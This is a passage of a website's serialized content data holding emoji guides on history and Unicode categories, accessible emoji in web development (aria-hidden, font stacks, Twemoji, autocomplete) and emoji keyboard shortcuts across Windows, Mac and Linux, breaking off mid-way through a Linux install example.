color.",[44,96173,96174],{},"Test with a real screen reader — no heuristic replaces actual listening.",[11,96176,286],{"id":285},[16,96178,96179,96180,468],{},"Browse and copy emoji with accessibility-friendly usage in mind using the ",[98,96181,83634],{"href":83633},[2043,96183,10928],{},{"title":141,"searchDepth":337,"depth":337,"links":96185},[96186,96187,96188,96196,96199,96200,96201],{"id":95720,"depth":337,"text":95721},{"id":95751,"depth":337,"text":95752},{"id":95823,"depth":337,"text":95824,"children":96189},[96190,96191,96192,96193,96194,96195],{"id":95827,"depth":343,"text":95828},{"id":95843,"depth":343,"text":95844},{"id":95856,"depth":343,"text":95857},{"id":95872,"depth":343,"text":95873},{"id":95939,"depth":343,"text":95940},{"id":95975,"depth":343,"text":95976},{"id":96020,"depth":337,"text":96021,"children":96197},[96198],{"id":96072,"depth":343,"text":96073},{"id":96119,"depth":337,"text":96120},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How screen readers handle emoji, alt text strategies, and avoiding accessibility pitfalls.",{"immutable":363},"\u002Fguides\u002Femoji-accessibility-guide",{"title":95715,"description":96202},"guides\u002Femoji-accessibility-guide","C6BrwowmDh7ecF0q3_JcS-gF_hOExeEIIZaWBgANiio",{"id":96209,"title":83613,"body":96210,"date":2070,"description":96544,"extension":361,"meta":96545,"navigation":363,"path":83612,"readingTime":1710,"seo":96546,"stem":96547,"__hash__":96548},"guides\u002Fguides\u002Femoji-guide.md",{"type":8,"value":96211,"toc":96534},[96212,96215,96219,96230,96240,96243,96247,96250,96253,96279,96282,96286,96289,96404,96407,96411,96425,96428,96454,96457,96461,96464,96490,96493,96495,96512,96514,96524,96526,96529],[16,96213,96214],{},"Emoji have reshaped the way people communicate online. A single symbol can convey tone, emotion, or context that words alone sometimes miss. This guide covers where emoji come from, how they are organized, and why they look different across devices.",[11,96216,96218],{"id":96217},"origins-of-emoji","Origins of Emoji",[16,96220,96221,96222,96225,96226,96229],{},"The word \"emoji\" comes from the Japanese ",[7310,96223,96224],{},"e"," (picture) and ",[7310,96227,96228],{},"moji"," (character). Shigetaka Kurita created the first set of 176 emoji in 1999 for NTT DoCoMo's i-mode mobile internet platform. These 12×12 pixel glyphs helped users send weather reports, emotions, and common activities in a compact format.",[16,96231,96232,96233,1856,96236,96239],{},"Before emoji, people used text-based emoticons like ",[143,96234,96235],{},":-)",[143,96237,96238],{},";-)"," to add emotional cues. Kurita's innovation replaced ASCII art with dedicated pictograms — a shift that fundamentally changed mobile messaging.",[16,96241,96242],{},"Apple included emoji in iOS 2.2 (2008) for the Japanese market. After international users discovered the feature, demand surged. Google followed with Android support, and emoji quickly became a global communication standard.",[11,96244,96246],{"id":96245},"unicode-standardization","Unicode Standardization",[16,96248,96249],{},"For emoji to work across devices, every platform needs to agree on what each code point represents. The Unicode Consortium manages this process.",[16,96251,96252],{},"Key milestones in emoji standardization:",[41,96254,96255,96261,96267,96273],{},[44,96256,96257,96260],{},[47,96258,96259],{},"2010"," — Unicode 6.0 added 722 emoji characters, the first major inclusion",[44,96262,96263,96266],{},[47,96264,96265],{},"2015"," — Unicode 8.0 introduced skin tone modifiers (Fitzpatrick scale)",[44,96268,96269,96272],{},[47,96270,96271],{},"2016"," — Unicode 9.0 added profession emoji with gender variants via ZWJ sequences",[44,96274,96275,96278],{},[47,96276,96277],{},"2017–2025"," — Annual releases add 50–120 new emoji each year",[16,96280,96281],{},"The Consortium's Emoji Subcommittee reviews proposals from the public before each release. Anyone can submit a proposal — it must prove the emoji fills a communication gap and has expected high usage.",[11,96283,96285],{"id":96284},"the-nine-emoji-categories","The Nine Emoji Categories",[16,96287,96288],{},"Unicode organizes emoji into nine official groups. Each group contains subcategories for finer classification.",[193,96290,96291,96303],{},[196,96292,96293],{},[199,96294,96295,96297,96300],{},[202,96296,24550],{},[202,96298,96299],{},"Examples",[202,96301,96302],{},"Common Uses",[211,96304,96305,96316,96327,96338,96349,96360,96371,96382,96393],{},[199,96306,96307,96310,96313],{},[216,96308,96309],{},"Smileys & Emotion",[216,96311,96312],{},"😀 😢 😡 🥰",[216,96314,96315],{},"Express feelings, reactions",[199,96317,96318,96321,96324],{},[216,96319,96320],{},"People & Body",[216,96322,96323],{},"👋 🏃 👩‍💻 🤝",[216,96325,96326],{},"Actions, gestures, professions",[199,96328,96329,96332,96335],{},[216,96330,96331],{},"Animals & Nature",[216,96333,96334],{},"🐶 🌸 🦋 🌍",[216,96336,96337],{},"Wildlife, seasons, environment",[199,96339,96340,96343,96346],{},[216,96341,96342],{},"Food & Drink",[216,96344,96345],{},"🍕 ☕ 🍺 🧁",[216,96347,96348],{},"Dining, cooking, celebrations",[199,96350,96351,96354,96357],{},[216,96352,96353],{},"Travel & Places",[216,96355,96356],{},"✈️ 🏠 🗽 🌄",[216,96358,96359],{},"Locations, transport, landmarks",[199,96361,96362,96365,96368],{},[216,96363,96364],{},"Activities",[216,96366,96367],{},"⚽ 🎨 🎬 🎮",[216,96369,96370],{},"Hobbies, sports, entertainment",[199,96372,96373,96376,96379],{},[216,96374,96375],{},"Objects",[216,96377,96378],{},"💡 📱 🔑 📚",[216,96380,96381],{},"Everyday items, tools",[199,96383,96384,96387,96390],{},[216,96385,96386],{},"Symbols",[216,96388,96389],{},"❤️ ☑️ ➡️ 🔄",[216,96391,96392],{},"Logic, directions, status",[199,96394,96395,96398,96401],{},[216,96396,96397],{},"Flags",[216,96399,96400],{},"🇺🇸 🇯🇵 🇪🇺 🏴",[216,96402,96403],{},"Countries, regions, identity",[16,96405,96406],{},"Understanding these categories helps you find emoji faster, whether you are browsing a picker or searching by keyword.",[11,96408,96410],{"id":96409},"cross-platform-differences","Cross-Platform Differences",[16,96412,96413,96414,96417,96418,96421,96422,468],{},"One of the most confusing aspects of emoji is that the ",[47,96415,96416],{},"same code point renders differently"," on Apple, Google, Microsoft, Samsung, and other platforms. Unicode defines the ",[7310,96419,96420],{},"name and meaning",", but each vendor designs its own ",[7310,96423,96424],{},"visual representation",[16,96426,96427],{},"Notable differences:",[41,96429,96430,96436,96442,96448],{},[44,96431,96432,96435],{},[47,96433,96434],{},"🔫 Water Pistol"," — Apple renders it as a toy squirt gun; some platforms previously showed a realistic firearm",[44,96437,96438,96441],{},[47,96439,96440],{},"🥺 Pleading Face"," — Varies from deeply sorrowful to mildly disappointed depending on the vendor",[44,96443,96444,96447],{},[47,96445,96446],{},"🎂 Birthday Cake"," — Number of candles, frosting colors, and cake style differ across platforms",[44,96449,96450,96453],{},[47,96451,96452],{},"😊 Smiling Face with Smiling Eyes"," — Google's version appears more relaxed; Apple's looks slightly blushier",[16,96455,96456],{},"These differences matter when your message's tone hinges on a specific visual. A playful emoji on one device might read as serious on another. Always preview important communications on multiple platforms when tone is critical.",[11,96458,96460],{"id":96459},"emoji-in-communication","Emoji in Communication",[16,96462,96463],{},"Research shows emoji serve several functions in digital conversations:",[41,96465,96466,96472,96478,96484],{},[44,96467,96468,96471],{},[47,96469,96470],{},"Tone signaling"," — A 😊 softens a direct request; a 😂 confirms you are joking",[44,96473,96474,96477],{},[47,96475,96476],{},"Emphasis"," — Repeating an emoji (🔥🔥🔥) amplifies the sentiment",[44,96479,96480,96483],{},[47,96481,96482],{},"Word replacement"," — \"Let's get 🍕\" replaces \"pizza\" without losing clarity",[44,96485,96486,96489],{},[47,96487,96488],{},"Social bonding"," — Responding with a ❤️ or 😘 builds rapport in personal chats",[16,96491,96492],{},"However, emoji interpretation varies by culture and generation. A 🙏 may mean \"please\" or \"thank you\" in East Asian contexts, while Western users often read it as \"praying.\" Context and audience always matter.",[11,96494,1355],{"id":1354},[41,96496,96497,96500,96503,96506,96509],{},[44,96498,96499],{},"Emoji originated in Japan in 1999 and became a global standard through Unicode",[44,96501,96502],{},"Unicode organizes emoji into 9 categories covering emotions, people, nature, food, places, activities, objects, symbols, and flags",[44,96504,96505],{},"The same emoji looks different across Apple, Google, Microsoft, and Samsung devices",[44,96507,96508],{},"Emoji add tone, emphasis, and personality to digital communication",[44,96510,96511],{},"Cultural context affects how people interpret specific emoji",[11,96513,321],{"id":320},[41,96515,96516,96520],{},[44,96517,96518],{},[98,96519,83619],{"href":83618},[44,96521,96522],{},[98,96523,83625],{"href":83624},[11,96525,286],{"id":285},[16,96527,96528],{},"Browse, search, and copy any emoji with our free online emoji picker — organized by category, fully Unicode-compliant, and instantly accessible.",[16,96530,4531,96531],{},[98,96532,96533],{"href":83633},"Open the Emoji Picker — Free Online Tool",{"title":141,"searchDepth":337,"depth":337,"links":96535},[96536,96537,96538,96539,96540,96541,96542,96543],{"id":96217,"depth":337,"text":96218},{"id":96245,"depth":337,"text":96246},{"id":96284,"depth":337,"text":96285},{"id":96409,"depth":337,"text":96410},{"id":96459,"depth":337,"text":96460},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Explore emoji history, Unicode categories, cross-platform differences, and how emoji transformed digital communication.",{"immutable":363},{"title":83613,"description":96544},"guides\u002Femoji-guide","mM2THySdrF8FLOVmc_jf1ozUl5UK3D4PhIrjdPIeU9E",{"id":96550,"title":83625,"body":96551,"date":2070,"description":97127,"extension":361,"meta":97128,"navigation":363,"path":83624,"readingTime":1717,"seo":97129,"stem":97130,"__hash__":97131},"guides\u002Fguides\u002Femoji-in-web-development.md",{"type":8,"value":96552,"toc":97109},[96553,96556,96560,96563,96585,96588,96612,96616,96669,96672,96676,96679,96699,96703,96752,96755,96759,96762,96809,96812,96816,96858,96861,96863,96870,96872,96898,96901,96905,96908,96947,96951,96954,97054,97061,97063,97085,97087,97097,97099,97102,97106],[16,96554,96555],{},"Emoji enhance user interfaces, but integrating them into web applications introduces challenges around accessibility, rendering consistency, and performance. This guide covers the practical considerations every developer should know.",[11,96557,96559],{"id":96558},"emoji-and-accessibility","Emoji and Accessibility",[16,96561,96562],{},"Screen readers interpret emoji based on their Unicode name. The 😀 emoji is read as \"grinning face,\" while 🚀 is announced as \"rocket.\" This works well for single emoji, but problems arise quickly:",[41,96564,96565,96571,96577],{},[44,96566,96567,96570],{},[47,96568,96569],{},"Emoji overload"," — A string like \"🎉🎊🥳🎉\" results in \"party popper, confetti ball, partying face, party popper,\" which disrupts the reading flow",[44,96572,96573,96576],{},[47,96574,96575],{},"Missing alt text"," — When emoji appear in images or icons without text labels, screen readers can fall back to the Unicode name, but the result is often unclear",[44,96578,96579,96582,96583],{},[47,96580,96581],{},"Decorative emoji"," — Emoji used purely for visual flair should be hidden from assistive technology using ",[143,96584,76320],{},[16,96586,96587],{},"Best practices for accessible emoji usage:",[41,96589,96590,96597,96604,96609],{},[44,96591,96592,96593,96596],{},"Limit emoji to ",[47,96594,96595],{},"one or two per sentence"," in body text",[44,96598,96599,96600,96603],{},"Always provide ",[47,96601,96602],{},"visible text labels"," alongside emoji in buttons and links",[44,96605,1388,96606,96608],{},[143,96607,76320],{}," on emoji that serve only a decorative purpose",[44,96610,96611],{},"Test with a screen reader — VoiceOver (macOS), NVDA (Windows), or TalkBack (Android)",[33,96613,96615],{"id":96614},"accessible-button-example","Accessible Button Example",[135,96617,96619],{"className":6417,"code":96618,"language":6419,"meta":141,"style":141},"\u003Cbutton>\n  \u003Cspan aria-hidden=\"true\">🗑️\u003C\u002Fspan>\n  \u003Cspan>Delete\u003C\u002Fspan>\n\u003C\u002Fbutton>\n",[143,96620,96621,96629,96648,96661],{"__ignoreMap":141},[1560,96622,96623,96625,96627],{"class":1562,"line":1563},[1560,96624,6431],{"class":1570},[1560,96626,12250],{"class":2484},[1560,96628,6441],{"class":1570},[1560,96630,96631,96633,96635,96637,96639,96641,96644,96646],{"class":1562,"line":337},[1560,96632,11223],{"class":1570},[1560,96634,1560],{"class":2484},[1560,96636,95957],{"class":1566},[1560,96638,7297],{"class":1570},[1560,96640,81517],{"class":5634},[1560,96642,96643],{"class":1570},">🗑️\u003C\u002F",[1560,96645,1560],{"class":2484},[1560,96647,6441],{"class":1570},[1560,96649,96650,96652,96654,96657,96659],{"class":1562,"line":343},[1560,96651,11223],{"class":1570},[1560,96653,1560],{"class":2484},[1560,96655,96656],{"class":1570},">Delete\u003C\u002F",[1560,96658,1560],{"class":2484},[1560,96660,6441],{"class":1570},[1560,96662,96663,96665,96667],{"class":1562,"line":365},[1560,96664,11242],{"class":1570},[1560,96666,12250],{"class":2484},[1560,96668,6441],{"class":1570},[16,96670,96671],{},"This pattern ensures the button reads as \"Delete\" rather than \"wastebasket, Delete.\"",[11,96673,96675],{"id":96674},"font-rendering-issues","Font Rendering Issues",[16,96677,96678],{},"Emoji rely on system emoji fonts for rendering. When a browser cannot find an emoji glyph in the specified font stack, it falls back to the system emoji font. This fallback mechanism causes several problems:",[41,96680,96681,96687,96693],{},[44,96682,96683,96686],{},[47,96684,96685],{},"Missing glyphs"," — If you apply a custom web font to text that includes emoji, the emoji may render as empty boxes (tofu) when the font does not contain emoji glyphs",[44,96688,96689,96692],{},[47,96690,96691],{},"Mixed sizing"," — System emoji fonts often produce emoji at sizes inconsistent with surrounding text, breaking visual alignment",[44,96694,96695,96698],{},[47,96696,96697],{},"Inconsistent appearance"," — Because each OS uses a different emoji font, the same page looks different on macOS, Windows, Android, and Linux",[33,96700,96702],{"id":96701},"safe-font-stack","Safe Font Stack",[135,96704,96706],{"className":1554,"code":96705,"language":1556,"meta":141,"style":141},".emoji-text {\n  font-family: 'YourWebFont', 'Apple Color Emoji', 'Segoe UI Emoji',\n    'Noto Color Emoji', sans-serif;\n}\n",[143,96707,96708,96715,96737,96748],{"__ignoreMap":141},[1560,96709,96710,96713],{"class":1562,"line":1563},[1560,96711,96712],{"class":1566},".emoji-text",[1560,96714,1571],{"class":1570},[1560,96716,96717,96720,96722,96725,96727,96730,96732,96735],{"class":1562,"line":337},[1560,96718,96719],{"class":1576},"  font-family",[1560,96721,1663],{"class":1570},[1560,96723,96724],{"class":5634},"'YourWebFont'",[1560,96726,1459],{"class":1570},[1560,96728,96729],{"class":5634},"'Apple Color Emoji'",[1560,96731,1459],{"class":1570},[1560,96733,96734],{"class":5634},"'Segoe UI Emoji'",[1560,96736,11943],{"class":1570},[1560,96738,96739,96742,96744,96746],{"class":1562,"line":343},[1560,96740,96741],{"class":5634},"    'Noto Color Emoji'",[1560,96743,1459],{"class":1570},[1560,96745,41103],{"class":1576},[1560,96747,2228],{"class":1570},[1560,96749,96750],{"class":1562,"line":365},[1560,96751,1585],{"class":1570},[16,96753,96754],{},"Adding emoji-specific font families after your web font ensures proper fallback. The browser tries your web font first for text characters, then hands off emoji code points to the system emoji font.",[11,96756,96758],{"id":96757},"emoji-fonts-cdn-vs-local","Emoji Fonts: CDN vs. Local",[16,96760,96761],{},"Some projects need consistent emoji rendering across all platforms. Two approaches exist:",[193,96763,96764,96774],{},[196,96765,96766],{},[199,96767,96768,96770,96772],{},[202,96769,81881],{},[202,96771,7444],{},[202,96773,7447],{},[211,96775,96776,96787,96798],{},[199,96777,96778,96781,96784],{},[216,96779,96780],{},"CDN-hosted emoji font (e.g., Twemoji)",[216,96782,96783],{},"Consistent appearance, easy setup",[216,96785,96786],{},"Extra network request, depends on CDN uptime",[199,96788,96789,96792,96795],{},[216,96790,96791],{},"Self-hosted emoji font",[216,96793,96794],{},"Full control, no external dependency",[216,96796,96797],{},"Larger bundle size, maintenance burden",[199,96799,96800,96803,96806],{},[216,96801,96802],{},"System fonts (no emoji font)",[216,96804,96805],{},"Zero overhead, native rendering",[216,96807,96808],{},"Inconsistent cross-platform appearance",[16,96810,96811],{},"For most websites, system emoji fonts are the best choice. Only use a custom emoji font when brand consistency demands identical rendering everywhere — for example, in a messaging app or a children's game.",[33,96813,96815],{"id":96814},"twemoji-via-cdn","Twemoji via CDN",[135,96817,96819],{"className":6417,"code":96818,"language":6419,"meta":141,"style":141},"\u003Cscript src=\"https:\u002F\u002Fcdn.jsdelivr.net\u002Fnpm\u002F@github\u002Ftwemoji@14\u002Fdist\u002Ftwemoji.min.js\">\u003C\u002Fscript>\n\u003Cscript>twemoji.parse(document.body);\u003C\u002Fscript>\n",[143,96820,96821,96840],{"__ignoreMap":141},[1560,96822,96823,96825,96827,96829,96831,96834,96836,96838],{"class":1562,"line":1563},[1560,96824,6431],{"class":1570},[1560,96826,11475],{"class":2484},[1560,96828,10631],{"class":1566},[1560,96830,7297],{"class":1570},[1560,96832,96833],{"class":5634},"\"https:\u002F\u002Fcdn.jsdelivr.net\u002Fnpm\u002F@github\u002Ftwemoji@14\u002Fdist\u002Ftwemoji.min.js\"",[1560,96835,12441],{"class":1570},[1560,96837,11475],{"class":2484},[1560,96839,6441],{"class":1570},[1560,96841,96842,96844,96846,96849,96851,96854,96856],{"class":1562,"line":337},[1560,96843,6431],{"class":1570},[1560,96845,11475],{"class":2484},[1560,96847,96848],{"class":1570},">twemoji.",[1560,96850,80838],{"class":1566},[1560,96852,96853],{"class":1570},"(document.body);\u003C\u002F",[1560,96855,11475],{"class":2484},[1560,96857,6441],{"class":1570},[16,96859,96860],{},"Twemoji replaces Unicode emoji with Twitter's open-source SVG images, ensuring consistent appearance. Be aware that this adds ~70 KB (gzipped) to your initial load.",[11,96862,8286],{"id":8285},[16,96864,96865,96866,96869],{},"Emoji fonts are large. The Noto Color Emoji font exceeds ",[47,96867,96868],{},"10 MB"," because it contains thousands of full-color glyphs. Even if you never reference most emoji, browsers may download the entire font file.",[16,96871,95659],{},[41,96873,96874,96880,96886,96892],{},[44,96875,96876,96879],{},[47,96877,96878],{},"Avoid embedding emoji fonts"," unless you truly need cross-platform consistency",[44,96881,96882,96885],{},[47,96883,96884],{},"Use Unicode characters directly"," instead of emoji images — they render at zero extra cost",[44,96887,96888,96891],{},[47,96889,96890],{},"Lazy-load emoji picker components"," — do not bundle thousands of emoji data into your main JavaScript",[44,96893,96894,96897],{},[47,96895,96896],{},"Inline critical emoji"," as SVG for small, isolated uses (e.g., a single icon in a header)",[16,96899,96900],{},"If you build an emoji picker, load the emoji catalog on demand rather than including it in the initial page bundle. A JSON file with all emoji names and code points can easily exceed 200 KB.",[11,96902,96904],{"id":96903},"emoji-input-integration","Emoji Input Integration",[16,96906,96907],{},"Adding emoji input to a web application involves several components:",[77,96909,96910,96923,96929,96935,96941],{},[44,96911,96912,96915,96916,96919,96920,96922],{},[47,96913,96914],{},"Trigger mechanism"," — A button, keyboard shortcut (e.g., ",[143,96917,96918],{},"Cmd+Ctrl+Space","), or colon ",[143,96921,8037],{}," prefix",[44,96924,96925,96928],{},[47,96926,96927],{},"Search and filter"," — Users type keywords to find emoji quickly",[44,96930,96931,96934],{},[47,96932,96933],{},"Category navigation"," — Tabs or sections aligned with Unicode's 9 emoji categories",[44,96936,96937,96940],{},[47,96938,96939],{},"Skin tone selector"," — A modifier strip for applicable emoji",[44,96942,96943,96946],{},[47,96944,96945],{},"Recent emoji"," — Cache the last 20–30 used emoji for quick access",[33,96948,96950],{"id":96949},"autocomplete-pattern","Autocomplete Pattern",[16,96952,96953],{},"A common pattern for chat-style applications:",[135,96955,96957],{"className":1607,"code":96956,"language":1609,"meta":141,"style":141},"\u002F\u002F Trigger on colon\ninput.addEventListener('input', (e) => {\n  const match = e.target.value.match(\u002F:([a-z_]+)$\u002F);\n  if (match) {\n    showSuggestions(searchEmoji(match[1]));\n  }\n});\n",[143,96958,96959,96964,96986,97021,97028,97046,97050],{"__ignoreMap":141},[1560,96960,96961],{"class":1562,"line":1563},[1560,96962,96963],{"class":1649},"\u002F\u002F Trigger on colon\n",[1560,96965,96966,96969,96971,96973,96976,96978,96980,96982,96984],{"class":1562,"line":337},[1560,96967,96968],{"class":1570},"input.",[1560,96970,11766],{"class":1566},[1560,96972,1688],{"class":1570},[1560,96974,96975],{"class":5634},"'input'",[1560,96977,38863],{"class":1570},[1560,96979,96224],{"class":2219},[1560,96981,1733],{"class":1570},[1560,96983,11503],{"class":1669},[1560,96985,1571],{"class":1570},[1560,96987,96988,96990,96993,96995,96998,97001,97003,97005,97008,97011,97013,97015,97017,97019],{"class":1562,"line":343},[1560,96989,28057],{"class":1669},[1560,96991,96992],{"class":1576}," match",[1560,96994,8186],{"class":1669},[1560,96996,96997],{"class":1570}," e.target.value.",[1560,96999,97000],{"class":1566},"match",[1560,97002,1688],{"class":1570},[1560,97004,9423],{"class":5634},[1560,97006,97007],{"class":11919},":(",[1560,97009,97010],{"class":1576},"[a-z_]",[1560,97012,9448],{"class":1669},[1560,97014,1525],{"class":11919},[1560,97016,11938],{"class":1669},[1560,97018,9423],{"class":5634},[1560,97020,1744],{"class":1570},[1560,97022,97023,97025],{"class":1562,"line":365},[1560,97024,27984],{"class":1669},[1560,97026,97027],{"class":1570}," (match) {\n",[1560,97029,97030,97033,97035,97038,97041,97043],{"class":1562,"line":889},[1560,97031,97032],{"class":1566},"    showSuggestions",[1560,97034,1688],{"class":1570},[1560,97036,97037],{"class":1566},"searchEmoji",[1560,97039,97040],{"class":1570},"(match[",[1560,97042,3585],{"class":1576},[1560,97044,97045],{"class":1570},"]));\n",[1560,97047,97048],{"class":1562,"line":1710},[1560,97049,4959],{"class":1570},[1560,97051,97052],{"class":1562,"line":1717},[1560,97053,11809],{"class":1570},[16,97055,97056,97057,97060],{},"This lets users type ",[143,97058,97059],{},":fire"," and see 🔥, 🚒, 🧯 as suggestions — similar to Slack or Discord.",[11,97062,1355],{"id":1354},[41,97064,97065,97068,97073,97076,97079,97082],{},[44,97066,97067],{},"Always provide text alternatives for emoji used in interactive elements",[44,97069,1388,97070,97072],{},[143,97071,76320],{}," on decorative emoji to prevent screen reader noise",[44,97074,97075],{},"Include emoji-specific font families in your CSS font stack as fallbacks",[44,97077,97078],{},"Avoid self-hosting emoji fonts unless cross-platform consistency is a hard requirement",[44,97080,97081],{},"Lazy-load emoji picker data to keep your initial bundle small",[44,97083,97084],{},"Implement autocomplete with a colon-trigger pattern for efficient emoji input",[11,97086,321],{"id":320},[41,97088,97089,97093],{},[44,97090,97091],{},[98,97092,83613],{"href":83612},[44,97094,97095],{},[98,97096,83619],{"href":83618},[11,97098,286],{"id":285},[16,97100,97101],{},"Test emoji rendering, browse categories, and copy code points instantly with our free emoji picker — works on any device with no installation needed.",[16,97103,4531,97104],{},[98,97105,96533],{"href":83633},[2043,97107,97108],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":97110},[97111,97114,97117,97120,97121,97124,97125,97126],{"id":96558,"depth":337,"text":96559,"children":97112},[97113],{"id":96614,"depth":343,"text":96615},{"id":96674,"depth":337,"text":96675,"children":97115},[97116],{"id":96701,"depth":343,"text":96702},{"id":96757,"depth":337,"text":96758,"children":97118},[97119],{"id":96814,"depth":343,"text":96815},{"id":8285,"depth":337,"text":8286},{"id":96903,"depth":337,"text":96904,"children":97122},[97123],{"id":96949,"depth":343,"text":96950},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to handle emoji in web projects — accessibility, font rendering, performance optimization, and autocomplete integration.",{"immutable":363},{"title":83625,"description":97127},"guides\u002Femoji-in-web-development","6v9BKooSBk2Y2wS5eS8B4PDtCpYu9Jwgy1ezYqwVW60",{"id":97133,"title":97134,"body":97135,"date":2070,"description":97695,"extension":361,"meta":97696,"navigation":363,"path":97697,"readingTime":1710,"seo":97698,"stem":97699,"__hash__":97700},"guides\u002Fguides\u002Femoji-keyboard-shortcuts-platforms.md","Emoji Keyboard Shortcuts for Every Platform",{"type":8,"value":97136,"toc":97684},[97137,97140,97144,97147,97183,97190,97197,97200,97225,97229,97232,97265,97268,97271,97296,97300,97303,97358,97365,97410,97414,97417,97435,97438,97458,97464,97468,97471,97476,97492,97497,97507,97512,97523,97527,97530,97587,97590,97612,97623,97625,97657,97659,97673,97675,97681],[16,97138,97139],{},"Typing emoji should not require copy-pasting from a website or hunting through your phone's emoji panel. Every major operating system includes a built-in emoji picker you can summon with a keyboard shortcut. Learning these shortcuts makes emoji insertion nearly as fast as typing regular characters.",[11,97141,97143],{"id":97142},"windows-emoji-keyboard","Windows Emoji Keyboard",[16,97145,97146],{},"Windows 10 and 11 include a native emoji picker accessible from any text field:",[193,97148,97149,97159],{},[196,97150,97151],{},[199,97152,97153,97156],{},[202,97154,97155],{},"Shortcut",[202,97157,97158],{},"Opens",[211,97160,97161,97172],{},[199,97162,97163,97169],{},[216,97164,97165,97168],{},[143,97166,97167],{},"Win + ."," (period)",[216,97170,97171],{},"Emoji picker",[199,97173,97174,97180],{},[216,97175,97176,97179],{},[143,97177,97178],{},"Win + ;"," (semicolon)",[216,97181,97182],{},"Emoji picker (alternative)",[16,97184,97185,97186,97189],{},"The picker displays three tabs: emoji, kaomoji (text faces like ",[143,97187,97188],{},"¯\\_(ツ)_\u002F¯","), and symbols (arrows, math, currency). Type to search — entering \"fire\" filters to 🔥, \"heart\" to ❤️, \"check\" to ✅.",[16,97191,97192,97193,97196],{},"Recent emoji appear at the top for quick re-access. Clicking or pressing ",[143,97194,97195],{},"Enter"," inserts the selected emoji at the cursor position.",[16,97198,97199],{},"For faster access, you can also:",[41,97201,97202,97208,97214],{},[44,97203,97204,97207],{},[47,97205,97206],{},"Enable the touch keyboard"," in the taskbar — it includes an emoji button",[44,97209,97210,97213],{},[47,97211,97212],{},"Use PowerToys Keyboard Manager"," to remap a rarely-used key to open the emoji picker",[44,97215,97216,97219,97220,52609,97223,1525],{},[47,97217,97218],{},"Create AutoHotkey scripts"," to insert specific emoji with custom shortcuts (e.g., ",[143,97221,97222],{},"::shrug::",[143,97224,97188],{},[11,97226,97228],{"id":97227},"mac-emoji-keyboard","Mac Emoji Keyboard",[16,97230,97231],{},"macOS has one of the most polished emoji pickers:",[193,97233,97234,97242],{},[196,97235,97236],{},[199,97237,97238,97240],{},[202,97239,97155],{},[202,97241,97158],{},[211,97243,97244,97254],{},[199,97245,97246,97251],{},[216,97247,97248],{},[143,97249,97250],{},"Ctrl + Cmd + Space",[216,97252,97253],{},"Emoji and symbols picker",[199,97255,97256,97262],{},[216,97257,97258,97261],{},[143,97259,97260],{},"Fn + E"," (on newer keyboards)",[216,97263,97264],{},"Emoji search",[16,97266,97267],{},"The Mac picker supports search, recent history, and category browsing. Double-click an emoji to insert it. The picker also includes special characters — accented letters, mathematical symbols, and currency signs.",[16,97269,97270],{},"Pro tips for Mac users:",[41,97272,97273,97279,97290],{},[44,97274,97275,97278],{},[47,97276,97277],{},"Customize the favorites section"," — drag frequently-used emoji to the favorites bar",[44,97280,97281,97284,97285,5255,97288],{},[47,97282,97283],{},"Use text replacements"," — go to System Settings → Keyboard → Text Replacements and map ",[143,97286,97287],{},":)shrug",[143,97289,97188],{},[44,97291,97292,97295],{},[47,97293,97294],{},"Touch Bar"," — if your MacBook has one, you can pin an emoji strip for tap-to-insert",[11,97297,97299],{"id":97298},"linux-emoji-picker","Linux Emoji Picker",[16,97301,97302],{},"Linux support varies by desktop environment:",[193,97304,97305,97316],{},[196,97306,97307],{},[199,97308,97309,97312,97314],{},[202,97310,97311],{},"Desktop",[202,97313,97155],{},[202,97315,2683],{},[211,97317,97318,97334,97347],{},[199,97319,97320,97323,97331],{},[216,97321,97322],{},"GNOME",[216,97324,97325,1531,97328],{},[143,97326,97327],{},"Ctrl + .",[143,97329,97330],{},"Super + .",[216,97332,97333],{},"Built-in since GNOME 3.24",[199,97335,97336,97339,97344],{},[216,97337,97338],{},"KDE Plasma",[216,97340,97341],{},[143,97342,97343],{},"Ctrl + Alt + E",[216,97345,97346],{},"Via fcitx5 or ibus emoji input",[199,97348,97349,97352,97355],{},[216,97350,97351],{},"i3 \u002F Sway",[216,97353,97354],{},"No default",[216,97356,97357],{},"Install rofimoji or emojipick",[16,97359,97360,97361,97364],{},"For distros without a built-in picker, ",[143,97362,97363],{},"rofimoji"," is the most popular third-party tool. It launches a rofi-based menu where you search and select emoji with your keyboard:",[135,97366,97368],{"className":6951,"code":97367,"language":6953,"meta":141,"style":141},"# Install rofimoji\npip install rofimoji\n\n# Launch with a keybinding in your i3 config\nbindsym $mod+e exec 